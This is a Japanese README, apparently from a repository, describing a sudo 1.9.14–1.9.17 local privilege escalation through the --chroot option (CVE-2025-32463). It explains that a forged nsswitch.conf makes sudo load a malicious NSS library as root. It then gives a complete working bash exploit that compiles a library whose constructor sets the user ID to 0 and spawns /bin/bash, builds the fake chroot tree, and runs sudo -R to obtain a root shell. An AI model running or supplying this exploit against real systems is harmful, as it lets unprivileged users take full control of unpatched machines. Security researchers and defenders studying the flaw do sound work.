
--chroot ローカル権限昇格ExploitDB ID: 52352
このリポジトリは、Sudo 1.9.14 – 1.9.17 のバージョンに影響する深刻なローカル権限昇格 (LPE) 脆弱性を文書化しています。
この脆弱性は、sudo -R (--chroot) オプションの誤った実装に起因し、sudoers ファイルで許可されていなくても、攻撃者がroot 権限でコマンドを実行することを可能にします。
🔥 結果: 権限のないユーザー → root シェル
Sudo の --chroot (-R) パラメータは、ユーザーに自身で指定したルートディレクトリ下でコマンドを実行する権限を与えます。
しかし、sudo 1.9.14 で行われた変更の結果:
sudoers ファイルがまだ完全に検証されていない状態でchroot() 呼び出しがユーザーが指定したディレクトリを介して行われますこの状況により、攻撃者は自身が作成した偽の:
/etc/nsswitch.conf
ファイルを通じて、悪意のある NSS ライブラリ (libnss_*.so) を root 権限でロードさせることができます。
nsswitch.conf を準備するsudo -R <dir> <command> を呼び出す⚠️ 教育およびテスト環境でのみ使用してください
#!/bin/bash
# sudo-chwoot.sh – CVE-2025-32463 の PoC
set -e
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash","/bin/bash",NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot